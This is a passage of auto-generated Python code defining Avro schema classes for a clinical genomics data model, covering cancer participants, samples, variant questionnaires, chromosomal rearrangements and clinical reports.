"string"], "doc": ""}, {"name": "morphologySnomedCT", "type": ["null", "string"], "doc": ""},
{"name": "morphologySnomedRT", "type": ["null", "string"], "doc": ""}, {"name": "topographyICD",
"type": ["null", "string"], "doc": ""}, {"name": "topographySnomedCT", "type": ["null", "string"],
"doc": ""}, {"name": "topographySnomedRT", "type": ["null", "string"], "doc": ""}]}}, "doc": ""},
{"name": "germlineSamples", "type": {"type": "array", "items": {"type": "record", "name":
"GermlineSample", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name":
"labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name":
"source", "type": ["null", "SampleSource"], "doc": ""}, {"name": "product", "type": ["null",
"Product"], "doc": ""}, {"name": "preparationMethod", "type": ["null", "PreparationMethod"], "doc":
""}, {"name": "programmePhase", "type": ["null", "ProgrammePhase"], "doc": ""}, {"name":
"clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name":
"matchedSamples", "type": {"type": "array", "items": {"type": "record", "name": "MatchedSamples",
"doc": "", "fields": [{"name": "germlineSampleId", "type": ["null", "string"], "doc": ""}, {"name":
"tumourSampleId", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "versionControl",
"type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name":
"GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"additionalInformation",
"assignedICD10",
"center",
"consentStatus",
"germlineSamples",
"individualId",
"matchedSamples",
"morphology",
"primaryDiagnosisDisease",
"primaryDiagnosisSubDisease",
"readyForAnalysis",
"sex",
"tumourSamples",
"versionControl",
"yearOfBirth",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'consentStatus': ConsentStatus,
'germlineSamples': GermlineSample,
'matchedSamples': MatchedSamples,
'tumourSamples': TumourSample,
'versionControl': VersionControl,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'consentStatus': ConsentStatus,
'germlineSamples': GermlineSample,
'matchedSamples': MatchedSamples,
'tumourSamples': TumourSample,
'versionControl': VersionControl,
}
return embeddedTypes[fieldName]
__slots__ = [
'additionalInformation', 'assignedICD10', 'center',
'consentStatus', 'germlineSamples', 'individualId',
'matchedSamples', 'morphology', 'primaryDiagnosisDisease',
'primaryDiagnosisSubDisease', 'readyForAnalysis', 'sex',
'tumourSamples', 'versionControl', 'yearOfBirth'
]
def __init__(self, **kwargs):
self.additionalInformation = kwargs.get(
'additionalInformation', None)
self.assignedICD10 = kwargs.get(
'assignedICD10', None)
self.center = kwargs.get(
'center', None)
self.consentStatus = kwargs.get(
'consentStatus', None)
self.germlineSamples = kwargs.get(
'germlineSamples', None)
self.individualId = kwargs.get(
'individualId', None)
self.matchedSamples = kwargs.get(
'matchedSamples', None)
self.morphology = kwargs.get(
'morphology', None)
self.primaryDiagnosisDisease = kwargs.get(
'primaryDiagnosisDisease', None)
self.primaryDiagnosisSubDisease = kwargs.get(
'primaryDiagnosisSubDisease', None)
self.readyForAnalysis = kwargs.get(
'readyForAnalysis', None)
self.sex = kwargs.get(
'sex', None)
self.tumourSamples = kwargs.get(
'tumourSamples', None)
self.versionControl = kwargs.get(
'versionControl', None)
self.yearOfBirth = kwargs.get(
'yearOfBirth', None)
class CancerSomaticVariantLevelQuestions(ProtocolElement):
"""
The questions for the cancer program exit questionnaire for
somatic variants
"""
_schemaSource = """
{"type": "record", "name": "CancerSomaticVariantLevelQuestions", "namespace":
"org.gel.models.report.avro", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type":
"record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type":
"string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type":
"string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly",
"type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc":
""}]}, "doc": ""}, {"name": "variantActionability", "type": {"type": "array", "items": {"type":
"enum", "name": "CancerActionabilitySomatic", "doc": "", "symbols":
["predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial",
"other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"], "doc":
""}, {"name": "variantUsability", "type": {"type": "enum", "name": "CancerUsabilitySomatic", "doc":
"", "symbols": ["already_actioned", "actioned_result_of_this_wga", "not_yet_actioned"]}, "doc": ""},
{"name": "variantTested", "type": {"type": "enum", "name": "CancerTested", "doc": "", "symbols":
["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga",
"technical_validation_following_wga"]}, "doc": ""}, {"name": "validationAssayType", "type":
"string", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"otherVariantActionability",
"validationAssayType",
"variantActionability",
"variantCoordinates",
"variantTested",
"variantUsability",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantCoordinates': VariantCoordinates,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantCoordinates': VariantCoordinates,
}
return embeddedTypes[fieldName]
__slots__ = [
'otherVariantActionability', 'validationAssayType',
'variantActionability', 'variantCoordinates', 'variantTested',
'variantUsability'
]
def __init__(self, **kwargs):
self.otherVariantActionability = kwargs.get(
'otherVariantActionability', None)
self.validationAssayType = kwargs.get(
'validationAssayType', None)
self.variantActionability = kwargs.get(
'variantActionability', None)
self.variantCoordinates = kwargs.get(
'variantCoordinates', VariantCoordinates())
self.variantTested = kwargs.get(
'variantTested', None)
self.variantUsability = kwargs.get(
'variantUsability', None)
class CancerTested(object):
"""
Was the variant validated with an orthogonal technology? *
`not_indicated_for_patient_care`: No: not indicated for patient
care at this time * `no_orthologous_test_available`: No: no
orthologous test available * `test_performed_prior_to_wga`: Yes:
test performed prior to receiving WGA (eg using standard-of-care
assay such as panel testing, or sanger sequencing) *
`technical_validation_following_WGA`: Yes: technical validation
performed/planned following receiving this WGA
"""
not_indicated_for_patient_care = "not_indicated_for_patient_care"
no_orthologous_test_available = "no_orthologous_test_available"
test_performed_prior_to_wga = "test_performed_prior_to_wga"
technical_validation_following_wga = "technical_validation_following_wga"
def __hash__(self):
return str(self).__hash__()
class CancerTestedAdditional(object):
"""
An enumeration Variant tested: *
`not_indicated_for_patient_care`: No: not indicated for patient
care at this time * `no_orthologous_test_available`: No: no
orthologous test available * `test_performed_prior_to_wga`:
Yes: test performed prior to receiving WGA (eg using
standard-of-care assay such as panel testing, or sanger
sequencing) * `technical_validation_following_wga`: Yes:
technical validation performed/planned following receiving this
WGA * `na`: N/A
"""
not_indicated_for_patient_care = "not_indicated_for_patient_care"
no_orthologous_test_available = "no_orthologous_test_available"
test_performed_prior_to_wga = "test_performed_prior_to_wga"
technical_validation_following_wga = "technical_validation_following_wga"
na = "na"
def __hash__(self):
return str(self).__hash__()
class CancerUsabilityGermline(object):
"""
Variant usability for germline variants: * `already_actioned`:
Already actioned (i.e. prior to receiving this WGA) *
`actioned_result_of_this_wga`: actioned as a result of receiving
this WGA
"""
already_actioned = "already_actioned"
actioned_result_of_this_wga = "actioned_result_of_this_wga"
def __hash__(self):
return str(self).__hash__()
class CancerUsabilitySomatic(object):
"""
Variant usability for somatic variants: * `already_actioned`:
Already actioned (i.e. prior to receiving this WGA) *
`actioned_result_of_this_wga`: actioned as a result of receiving
this WGA * `not_yet_actioned`: not yet actioned, but potentially
actionable in the future
"""
already_actioned = "already_actioned"
actioned_result_of_this_wga = "actioned_result_of_this_wga"
not_yet_actioned = "not_yet_actioned"
def __hash__(self):
return str(self).__hash__()
class CaseSolvedFamily(object):
"""
No documentation
"""
yes = "yes"
no = "no"
partially = "partially"
unknown = "unknown"
def __hash__(self):
return str(self).__hash__()
class ChiSquare1KGenomesPhase3Pop(ProtocolElement):
"""
Chi-square test for goodness of fit of this sample to 1000 Genomes
Phase 3 populations
"""
_schemaSource = """
{"type": "record", "name": "ChiSquare1KGenomesPhase3Pop", "namespace":
"org.gel.models.participant.avro", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type":
{"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR",
"SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name":
"KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM",
"ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL",
"PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"chiSquare",
"kgPopCategory",
"kgSuperPopCategory",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'chiSquare', 'kgPopCategory', 'kgSuperPopCategory'
]
def __init__(self, **kwargs):
self.chiSquare = kwargs.get(
'chiSquare', None)
self.kgPopCategory = kwargs.get(
'kgPopCategory', None)
self.kgSuperPopCategory = kwargs.get(
'kgSuperPopCategory', None)
class ChromosomalRearrangement(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "ChromosomalRearrangement", "namespace": "org.gel.models.report.avro",
"fields": [{"name": "breakPoints", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "BreakPoint", "fields": [{"name": "coordinates", "type": {"type": "record", "name":
"Coordinates", "fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc":
"", "symbols": ["GRCh38", "GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start",
"type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type":
"record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name":
"right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name":
"reference", "type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]},
{"name": "info", "type": ["null", {"type": "map", "values": "string"}]}]}}]}, {"name":
"rearrangements", "type": {"type": "array", "items": {"type": "record", "name": "Rearrangement",
"fields": [{"name": "leftCoordinates", "type": "Coordinates"}, {"name": "rightCoordinates", "type":
"Coordinates"}, {"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols":
["start_start", "start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]},
{"name": "rightInsSeq", "type": ["null", "string"]}]}}}, {"name": "reportEvents", "type": {"type":
"array", "items": {"type": "record", "name": "ReportEvent", "doc": "", "fields": [{"name":
"reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type": "record",
"name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields":
[{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name":
"namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]},
{"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null",
"string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null",
"string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields":
[{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name":
"matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name":
"variantConsequences", "type": {"type": "array", "items": {"type": "record", "name":
"VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name":
"name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type":
["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier",
"type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc":
""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type":
["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type":
"enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic",
"monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted",
"biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic",
"xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name":
"genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity",
"doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc":
"", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion",
"genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"],
"doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields":
[{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc":
""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum",
"name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive",
"CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant",
"InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted",
"XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic",
"MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum",
"name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols":
["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"],
"doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name":
"groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type":
["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items":
{"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene",
"both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions",
"doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name":
"studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"],
"doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name":
"title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum",
"name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2",
"phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type":
["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields":
[{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "",
"symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type":
["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment",
"prevention", "diagnostic", "supportive_care", "screening", "health_services_research",
"basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type":
["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional",
"observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type":
["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type":
["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name":
"referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type":
"enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis",
"unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""},
{"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name":
"TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type":
{"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null",
{"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""},
{"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""},
{"name": "variantClassification", "type": ["null", {"type": "record", "name":
"VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null",
{"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign",
"likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name":
"drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name":
"traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols":
["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc":
""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name":
"TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""},
{"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect",
"symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant",
"loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""},
{"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name":
"GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification",
"type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields":
[{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name":
"AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AcmgEvidenceCategory", "doc": "", "symbols": ["population_data",
"computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data",
"allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type":
"enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""},
{"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols":
["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name":
"modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment",
"type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type":
"record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type":
{"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name":
"type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type",
"therapies", "variant_frequencies", "potential_germline", "population_database_presence",
"germline_database_presence", "somatic_database_presence", "impact_predictive_software",
"pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type":
"string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier",
"doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name":
"ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type":
{"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols":
["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB",
"levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc":
""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name":
"algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc":
""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null",
"int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name":
"Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA",
"TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain",
"symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}}, {"name":
"variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc":
"", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type":
"string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "",
"symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing",
"half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous",
"unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name":
"PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}},
{"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type":
["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""},
{"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name":
"numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null",
"int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name":
"alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type":
"array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking",
"inrepeat"]}}]}]}}, "doc": ""}, {"name": "variantAttributes", "type": ["null", {"type": "record",
"name": "VariantAttributes", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type":
"array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type":
"array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type":
["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null",
{"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null",
{"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null",
"string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc":
""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name":
"alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name":
"population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc":
""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type":
"map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array",
"items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name":
"recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null",
"float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}],
"doc": ""}]}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"breakPoints",
"rearrangements",
"reportEvents",
"variantAttributes",
"variantCalls",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'breakPoints': BreakPoint,
'rearrangements': Rearrangement,
'reportEvents': ReportEvent,
'variantAttributes': VariantAttributes,
'variantCalls': VariantCall,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'breakPoints': BreakPoint,
'rearrangements': Rearrangement,
'reportEvents': ReportEvent,
'variantAttributes': VariantAttributes,
'variantCalls': VariantCall,
}
return embeddedTypes[fieldName]
__slots__ = [
'breakPoints', 'rearrangements', 'reportEvents',
'variantAttributes', 'variantCalls'
]
def __init__(self, **kwargs):
self.breakPoints = kwargs.get(
'breakPoints', None)
self.rearrangements = kwargs.get(
'rearrangements', None)
self.reportEvents = kwargs.get(
'reportEvents', None)
self.variantAttributes = kwargs.get(
'variantAttributes', None)
self.variantCalls = kwargs.get(
'variantCalls', None)
class ClinicalReport(ProtocolElement):
"""
A clinical report. This holds the list of reported variants by an
expert together with all the relevant information that
identify the case and how these conclusions were reached.
"""
_schemaSource = """
{"type": "record", "name": "ClinicalReport", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name":
"interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "reportingDate", "type":
"string", "doc": ""}, {"name": "user", "type": "string", "doc": ""}, {"name": "variants", "type":
["null", {"type": "array", "items": {"type": "record", "name": "SmallVariant", "doc": "", "fields":
[{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "",
"fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int",
"doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type":
"string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "",
"symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantCalls", "type":
{"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name":
"participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""},
{"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols":
["reference_homozygous", "heterozygous", "alternate_homozygous", "missing",
"half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous",
"unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name":
"PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}},
{"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type":
["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""},
{"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type":
